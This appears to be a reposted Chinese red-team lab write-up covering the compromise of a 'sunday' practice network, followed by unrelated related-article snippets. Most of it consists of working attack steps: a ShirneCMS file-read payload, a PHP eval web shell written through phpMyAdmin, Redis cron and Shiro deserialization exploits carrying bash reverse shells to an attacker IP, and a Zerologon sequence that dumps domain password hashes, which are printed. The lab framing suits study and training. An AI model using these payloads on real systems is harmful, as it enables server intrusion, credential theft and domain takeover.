【红队靶场】暗月五月考核靶场sunday

news2024/11/26 20:24:48

红队靶场


🎉B站配套视频:【顺手挂个三连呗】

https://www.bilibili.com/video/BV1xu4y1Z71y/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年6月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

巅峰之路

  • 红队靶场
  • 前言
    • 服务探测
        • 端口扫描
    • 目录爆破
    • 内网横向
    • 利用shiro+redis反弹shell
    • ssh登录
    • 代理访问盲打域控
    • zerologon


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


服务探测

端口扫描

masscan 192.168.10.174 --ports 0-10000

在这里插入图片描述
就开了两个端口

标题显现出shirnecms
在这里插入图片描述
谷歌搜一下shirnecms
发现是个开源的后台框架、
并且f12版本可能是4.3.1
在这里插入图片描述
然后在github找一下这个框架
在这里插入图片描述
点开发现最新版是1.2.2,这就说明我们找错了
那就接着找
在这里插入图片描述根据年代开始找
在这里插入图片描述但是github第一个发布版本就是2019年的
所以先不考虑源码获取
在这里插入图片描述
接着搜一下有没有洞

在这里插入图片描述

看到是有的,所以看一下
然后针对漏洞编号进行查找
找到如下payload

在这里插入图片描述

http://localhost/static/ueditor/php/controller.php?
action=proxy&remote=php://filter/convert.base64-encode|convert.base64-
encode|convert.base64-encode|convert.base64-encode|convert.base64-
encode|convert.base64-encode/resource=config.json&maxwidth=-1&referer=test

直接发包
应该是有东西
但是很复杂,看不懂,翻一翻

在这里插入图片描述发现这里有个png

在这里插入图片描述但是还是看不懂,编码转换也看不懂

但是我找到了这个
https://twitter.com/yibudengtian1
在这里插入图片描述可以读取passwd
我尝试一下
在这里插入图片描述这下就OK了,bp自动识别出来了
那么这就相当于一个本地文件包含
如果我能有个马,或者phpinfo就可以达成RCE

并且因为这个时候我盲目的尝试我唯一找到的exp成功,由此我知道了版本是1.2.0
在这里插入图片描述那么我现在把源码下载下来看一看

发现源码的数据库配置文件存在泄露
那么我现在就要读取一下

在这里插入图片描述众所周知,linux网站根目录通常在如下的地方
在这里插入图片描述
所以我先按照这个路径去进行尝试访问
在这里插入图片描述
成功得到数据库的账号密码

用户名 root 、密码vVICDU1Erw、数据库名cms

但是数据库没有开放外网端口
但是我会尝试ssh密码复用
尝试登录一下
在这里插入图片描述
但是不对
接下来我会找网站后台,再次尝试复用

目录爆破

在这里插入图片描述发现了phpmyadmin
还有一个uploads
还有一个admin
我们访问一下
在这里插入图片描述只有admin以及phpmyadmin可以访问,其他的都不能访问
并且phpmyadmin账号密码复用成功

在这里插入图片描述

尝试直接写shell
但是显示没权限
那我就只能看看我能不能创建管理员用户或者查询一些信息

在这里插入图片描述
因为左边就有数据库结构,所以我们开始翻
在这里插入图片描述找到了网站后台
的管理员用户的东西

在这里插入图片描述

加了盐,但是也可以放到somd5看看
果不其然没有
那就找他的加盐规则然后写进去一个用户就好
接下来翻一下加盐规则

在这里插入图片描述可以看到调用了一个encode_password
然后再跟一下encode_password
关注一下return,看处理过会返回什么
在这里插入图片描述找到了
md5加密
那么我们现在随便给一个密码然后加个盐,然后更新到数据库里

首先我自己生成了一个

import hashlib
password = 'admin'
salt = 'QVfSkGQY'
# 将密码和盐值拼接
salted_password = password + salt
# 使用md5算法对拼接后的字符串进行哈希运算
hashed_password = hashlib.md5(salted_password.encode()).hexdigest()
print(hashed_password)

结果发现不对,我觉得应该是需要我用他自己的源码去生成
在这里插入图片描述

那就重新写
但是我先不考虑这种
因为还得搭建,我很懒

<?php
include ('application/common.php');
$salt=random_str(8); //这是因为全局搜索发现盐是一个随机的8为字符
$password = '!@#123QWEqwe';
$newpassword = encode_password ($password, $salt);
echo $newpass . "\n" ; echo $salt;
?>

所以我们要找,哪里定义了这个函数
在这里插入图片描述发现是在common.php
那我们有两个方式,第一个是吧这个函数的逻辑用我们的方法构建出来
第二个是那我们就包含他,然后调用这个函数

接下来我们简单的放一下,就放在src目录下
因为这里是我们的网站路径,我们可以访问到
并且phpstduy搭建一下就行
不会得看我视频

在这里插入图片描述

他这个加密呢就是

使用给定的加密规则,将密码"admin123"和盐值"QVfSkGQY"连接起来,然后分别进行两次MD5哈希处理,最终得到密码的加密结果。

第一步,计算md5("admin123"),得到 "21232f297a57a5a743894a0e4a801fc3"。

第二步,将上述结果与盐值"QVfSkGQY"连接起来,得到 "21232f297a57a5a743894a0e4a801fc3QVfSkGQY"。

第三步,再次进行MD5哈希处理,得到 "7c1b35ec29fd90cda85923b94e2b1cf4"。这就是加密后的结果。

因此,使用给定的加密规则,将"admin123"和盐值"QVfSkGQY"加密后得到的结果为 "7c1b35ec29fd90cda85923b94e2b1cf4"

但是手工修改也错了
那我就再写一个php

function encode_password($pass, $salt = '') {
    return md5(md5($pass) . $salt);
}

// 随机生成一个八位数字符串作为 salt 值
$salt = substr(str_shuffle('0123456789'), 0, 8);

$password = 'admin123@@';
$encoded_password = encode_password($password, $salt);

echo "原始密码:{$password}\n";
echo "加密后的密码:{$encoded_password}\n";
echo "salt 值:{$salt}\n";

还是错的
最后还是选择了最麻烦的本地搭建源码而后利用文件包含去调用函数
也就是这一种

<?php
include ('application/common.php');
$salt=random_str(8); //这是因为全局搜索发现盐是一个随机的8为字符
$password = '!@#123QWEqwe';
$newpassword = encode_password ($password, $salt);
echo $newpass . "\n" ; echo $salt;
?>

在这里插入图片描述
最终输出了md5以及salt

修改进去
在这里插入图片描述最终成功登陆了
在这里插入图片描述
在后台转的时候看到了模板二字,让我想到了wordpress可以利用模版getshell,那么我会寻找一下哪里可以自定义模版或者修改模版
在这里插入图片描述紧接着我发现在这里可以修改模版,并且可以进行调用模版,那么我就用phpinfo来在tmp目录写个名为那个模版文件的马,然后我新建文章包含这个模版,然后进应该可以达成getshell

让我们回到phpimyadmin
在这里插入图片描述直接在这里
执行如下
我的笔记里也有,但是好像现在看不了了
在这里插入图片描述多种方法可以自行尝试
这里我进行一句话的直接写入
日志写入应该也可以

select '<?php @eval($_POST[pass]);?>' into outfile '/tmp/view.tpl' 

在这里插入图片描述我这里为了方便就去机器里看一眼
在这里插入图片描述好的非常棒
那么接下来我就要整一个文章来包含这个带着马的模版
然后文章的地址我们可以访问,那么也就是我们的马儿可以访问

这里我为了先验证一下能否成功换了一个phpinfo,并且实际验证写入到view.tpl才会生效
但是这里实际只能写入一次
因为想要覆写权限不够的
并且在制作模板的时候一定要选
是独立模版,如图
在这里插入图片描述
那么成功了,我们修改成一句话就可以拿shell
这个就不说了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现是一个单网段机器,所以我们只能先试图横向,找到一台多网卡机器

内网横向

结合我之前在群里和大家吹牛逼说的
fscan无脑上

https://github.com/shadow1ng/fscan/releases/tag/1.8.2

chmod +x fscan_amd64
./fscan_amd64 -h 192.168.10.0/24
[+] Redis:192.168.10.175:6379 abc123 file:/var/lib/redis/dump.rdb
[+] Redis:192.168.10.175:6379 like can write /var/spool/cron/

在这里插入图片描述
无密码
接下来开始写公钥
在这里插入图片描述
并且也能写
并且我蛮看到他能写的地方是
like can write /var/spool/cron/
这个文件夹是计划任务的地方,非常明显
那么我就简单写一个计划任务

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.129/9999 0>&1\n\n"
ye
config set dir /var/spool/cron/

config set dbfilename root

save

但是写不了
有可能是权限的问题
那我接着尝试写ssh

在这里插入图片描述config set dir /root/.ssh/

但是这一块你可以尝试一下写别的用户,如果你能猜到

ssh也写不了

在这里插入图片描述

利用shiro+redis反弹shell

这一块我问了人,后期准备自己搭建复现一下,挺有意思

https://mp.weixin.qq.com/s?__biz=MzU2NTExMDQxOQ==&amp;mid=2247483934&amp;idx=1&amp;sn=aa20df31b6dea473ed72cfb90d50a752
以及
http://www.hackdig.com/10/hack-803659.htm

会单独出一个文章去浮现这个问题
这里先一笔带过

首先
我们需要一个exp

无论如何先保存下来,如果出现可以直接使用
原理一时半会讲不明白
python3.7可以成功
需要安装模块pyyso

import pyyso
import redis
redis_conn=redis.StrictRedis(host='192.168.10.175', port=6379,password="abc123")
whatever=b"test1"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}")
redis_conn.set(key,value)
print("yes")


//YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS84ODg4IDA+JjE=是bash -i >& /dev/tcp/192.168.10.129/8888 0>&1需要修改后自己base64编码

而后python3.7 exp.py
而后nc -nvlp 8888

可以连接查看一下
有没有东西

在这里插入图片描述这个时候redis中存在了test1的session
而后我们登陆抓包,在cookie部分修改jsessionid为test1

在这里插入图片描述

而后获得shell
同样是单网卡
那就进行一下配置文件什么的查询

在这里插入图片描述在/home/web目录下发现.ssh
在这里插入图片描述并且有私钥,我们复制下来到本地尝试去登陆
开放端口的机器有

192.168.10.175:22 open
192.168.10.174:22 open
192.168.10.172:22 open

我们依次尝试就行

在这里插入图片描述

ssh登录

最后在这里登陆上了

ssh -T -i id_rsa root@192.168.10.172 /bin/bash

在这里插入图片描述并且这台机器可以跨网段

在这里插入图片描述
那我们就可以用fscan扫,或者直接做个代理出来

chmod +x fscan_amd64
./fscan_amd64 -h 10.10.10.0/24

10段存活另外两台主机

(icmp) Target 10.10.10.137    is alive
(icmp) Target 10.10.10.133    is alive

开放端口如下

10.10.10.133:88 open
10.10.10.133:135 open
10.10.10.133:445 open
10.10.10.133:139 open

10.10.10.137:81 open
10.10.10.137:80 open
10.10.10.137:8099 open
10.10.10.137:135 open
10.10.10.137:8172 open
10.10.10.137:808 open
10.10.10.137:445 open
10.10.10.137:443 open
10.10.10.137:139 open

同时还扫到了洞

[*]10.10.10.133
   [->]ad2012
   [->]10.10.10.133
[*] 10.10.10.133  (Windows Server 2012 R2 Standard 9600)
[*] NetBios: 10.10.10.137    exchange.sunday.club                Windows Server 2012 R2 Standard 9600 
[*] NetInfo:
[*]10.10.10.137
   [->]exchange
   [->]10.10.10.137

通过这里我们知道了域控是10.10.10.133 2012 R2
137是一个exchange 2012 R2
title如下

[*] WebTitle: https://10.10.10.137      code:301 len:0      title:None 跳转url: https://10.10.10.137/owa/
[*] WebTitle: http://10.10.10.137       code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://10.10.10.137/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.10.137%2fowa%2f&reason=0 code:200 len:28269  title:Outlook Web App
[*] WebTitle: http://10.10.10.137:81    code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。

代理访问盲打域控

打域控一般来说盲打用的比较多,CS里面插件都有很多集成
可以方便地利用
当然你也可以手搓
有很多py脚本

服务端
./linux_x64_admin -l 192.168.125.134:8000 -s 123

客户端
chmod +x linux_x86_agent
./linux_x86_agent -c 192.168.10.129:8000 -s 123 --reconnect 8


然后回到服务端
use 0 
socks 7777
就可以打开

在这里插入图片描述
既然能看到域控,那就盲打,盲打一些高危洞
尝试之后zerologon可以

zerologon

这一块我笔记里有

1. 工具下载
https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py //探测
https://github.com/dirkjanm/CVE-2020-1472 //利用

2. 检测漏洞
proxychains4 python3 zerologon_tester.py ad2012 10.10.10.133
 #这里需要两个参数 域控名 和 域控IP

3. 获取hash
proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py sunday.club/ad2012\$@10.10.10.133 -no-pass #同样是域控名 和域控IP

 
4. 或者登陆
proxychains4 python3  /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/administrator@10.10.10.133

5. 转储原来的hash
reg save HKLM\SYSTEM system.save 
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

6. 提取域控原本hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

7. 恢复hash
python3 reinstall_original_pw.py ad01 10.10.10.137 上面的hash8. 再次hashdump,达到权限维持的效果
python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :747f92f9bf20a4fc930afc4dadf53bdc

9. 扩大攻击面
恢复之后,同样可以看到krbtgt这个账号的hash,可以利用它生成黄金票据来进行权限维持。

在这里插入图片描述
然后接着一步步利用

在这里插入图片描述
在这里插入图片描述
成功
接下来直接登陆就行

sunday.club\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b2f8cf489b0f9961dbe45d8b51bf4163:::

在这里插入图片描述
那后就拿到了域控的管理员用户

在这里插入图片描述
ip确实是DC
到这就结束了
剩下一个exchange没必要打了,DC都拿了
如果要打的话
CVE-2021-26855组合CVE-2021-27065
可以RCE
我没试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/608211.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【MySql】ProxySQL

文章目录 ProxySQL运行机制ProxySQL安装ProxySQL的Admin管理接口和admin管理接口相关的变量admin-admin_credentialsadmin-stats_credentialsadmin-mysql_ifaces 读写分离环境信息部署步骤 负载均衡连接池自动摘除宕机的DB动态加载配置访问控制查询缓存ProxySQL 集群来源 Proxy…

送礼物 dfs 双向dfs 剪枝 java

&#x1f351; 送礼物 达达帮翰翰给女生送礼物&#xff0c;翰翰一共准备了 N N N 个礼物&#xff0c;其中第 i i i 个礼物的重量是 KaTeX parse error: Undefined control sequence: \[ at position 2: G\̲[̲i\]。 达达的力气很大&#xff0c;他一次可以搬动重量之和不超…

有效的括号——力扣20

题目描述 思路 1.判断括号的有效性可以使用「栈」这一数据结构来解决 2.遍历给定的字符串 s。当遇到一个左括号时&#xff0c;我们会期望在后续的遍历中&#xff0c;有一个相同类型的右括号将其闭合。由于后遇到的左括号要先闭合&#xff0c;因此我们可以将这个左括号放入栈顶。…

2.项目中的文件

项目的路径是这样的 目录 1 pages 1.1 json 1.2 wxml 1.3 wxss 1.4 js 2 utils 3 .eslintrc.js 4 app.js 5 app.json 6 app.wxss 7 project.config.json 8 project.private.config.json 9 sitemap.json 1 pages pages 用来存放所有小程序的页面&am…

数据结构与算法基础(青岛大学-王卓)(4)

第四弹啊&#xff0c;栈和队列终于叮叮咚咚看完了&#xff0c;小龙虾呀鳝鱼汤啊倍儿香~~~~&#xff0c;配合本文食用更香 &#x1f603; 文章目录 栈和队列栈队列案列的引入栈的表示和操作栈的抽象数据类型定义顺序栈顺序栈的表示顺序栈的初始化顺序栈基本操作顺序栈的入栈顺序…

基于Python的接口自动化-JSON模块的操作

目录 引言 一、JSON是啥&#xff1f; 二、JSON的有效数据类型 三、Python JSON库的使用 结语 引言 在使用Python进行接口自动化测试脚本时&#xff0c;一般都是脚本只写接口测试逻辑实现&#xff0c;而执行脚本时需要的测试用例数据都是写入excel、数据库或者指定的配置文…

入门编程指南:如何从零开始学习编程?

一、自学编程需要注意什么&#xff1f; 自学编程需要注意以下几点&#xff1a; 选择适合自己的编程语言&#xff0c;在学习初期建议选择易入手的编程语言。需要不断地练习&#xff0c;并建立自己的编程项目&#xff0c;以此提高编程技巧和应用能力。追求知识的全面性&#xf…

实验二十二、压控电压源二阶带通滤波器的参数选择

一、题目 如图1所示电路中&#xff0c;已知 R 51 k Ω R51\,\textrm kΩ R51kΩ&#xff0c; R 3 20 k Ω R_320\,\textrm kΩ R3​20kΩ&#xff1b; f 0 1 kHz f_01\,\textrm{kHz} f0​1kHz。利用 Multisim 分析下列问题&#xff1a; &#xff08;1&#xff09;选取合适…

[图表]pyecharts-K线图

[图表]pyecharts-K线图 先来看代码&#xff1a; import requests from typing import List, Unionfrom pyecharts import options as opts from pyecharts.charts import Kline, Line, Bar, Griddef get_data():response requests.get(url"https://echarts.apache.org/…

攻击者使用 Python 编译的字节码来逃避检测

以 PyPI&#xff08;Python 包索引&#xff09;等开源包存储库为目标的攻击者设计了一种新技术&#xff0c;可以将他们的恶意代码隐藏在安全扫描器、人工审查和其他形式的安全分析中。 在一次事件中&#xff0c;研究人员发现恶意软件代码隐藏在 Python 字节码 (PYC) 文件中&am…

Scala学习(十二)---模式匹配

文章目录 1.基本语法2.模式守卫3.匹配常量和类型4.匹配对象和样例类4.1 匹配对象4.2 匹配样例类 5.偏函数中的模式匹配 1.基本语法 在Scala中的模式匹配类似于Java中的switch语法 //模式匹配基本语法val a10val b20val c""c match {case "" >println(…

VScode远程连接虚拟机(ubuntu系统)

文章目录 1. Windows端安装VScode2. 安装远程登录插件3. 配置Remote-SSH插件关于关闭后如何打开该配置文件 4. 测试ubuntu与windows可否ping通5. 在Ubuntu中安装 SSH1.检查是否安装ssh-server2.安装openssh-server3.查看ssh服务是否启动4.Ubuntu中配置openssh-server开机自动启…

路径规划算法:基于蝠鲼觅食优化的路径规划算法- 附代码

路径规划算法&#xff1a;基于蝠鲼觅食优化的路径规划算法- 附代码 文章目录 路径规划算法&#xff1a;基于蝠鲼觅食优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要&#xff1a;本文主要介绍利用智能优化…

6.4下周黄金最新行情走势分析及开盘交易策略

近期有哪些消息面影响黄金走势&#xff1f;下周黄金多空该如何研判&#xff1f; ​黄金消息面解析&#xff1a;周五(6月2日)&#xff0c;美市尾盘&#xff0c;现货黄金收报1947.82美元/盎司&#xff0c;大幅下跌29.70美元或1.50%&#xff0c;日内最高触及1983.43美元/盎司&…

chatgpt赋能python:Python升序排序

Python升序排序 Python是一种非常强大的编程语言&#xff0c;它在数学计算、数据处理等方面具备很强的优势。在实际应用中&#xff0c;我们经常需要对一系列数据进行排序。而在Python中&#xff0c;升序排序是非常常见的操作。本篇文章将介绍在Python中如何使用ifelse进行升序…

JavaWeb13(ajax01 AJAX介绍AJAX登陆AJAX加入购物车AJAX修改购物车商品数量)

目录 一. 什么是ajax 二.为什么需要AJAX? 三. 同步和异步的区别. 四.基于jQuery实现AJAX语法 4.1 语法1-$.ajax(url,[settings]). 4.1 语法2-$.get/post(url, [data], [callback], [type]). 五 .案例 5.1 ajax实现登录 ①html代码 用户登录 用户名&#xff1a; 密码…

【无功优化】基于改进教与学算法的配电网无功优化【IEEE33节点】(Matlab代码时候)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

揭秘照片修复技巧:手把手教你如何让模糊照片变清晰

作为一名修图小能手&#xff0c;行走于修图界&#xff0c;修复模糊的照片是必备的技能之一&#xff0c;最近收到很多粉丝的私信&#xff0c;清一色都是问的怎么免费把照片变清晰&#xff0c;为了给各位小伙伴们解决难题&#xff0c;我决定拿出我私藏多年的秘密武器&#xff0c;…

【CloudCompare教程】016:计算点云的法向量

本文讲解CloudCompare计算点云的法向量的方法。 文章目录 一、法向量概述二、法向量计算1. 平面法向量2. 二次曲面3.三角网格化一、法向量概述 法向量,是空间解析几何的一个概念,垂直于平面的直线所表示的向量为该平面的法向量。法向量适用于解析几何。由于空间内有无数个直…

HAL库记录-RTC

芯片:STM32F29IIGT6 阿波罗开发板 1.配置时钟 2.HAL外设配置 3.代码解析 生成rtc文件 RTC_HandleTypeDef hrtc;/* RTC init function */ void MX_RTC_Init(void) {/* USER CODE BEGIN RTC_Init 0 */RTC_TimeTypeDef rtc_time;RTC_DateTypeDef rtc_data;/* USER CODE END RTC…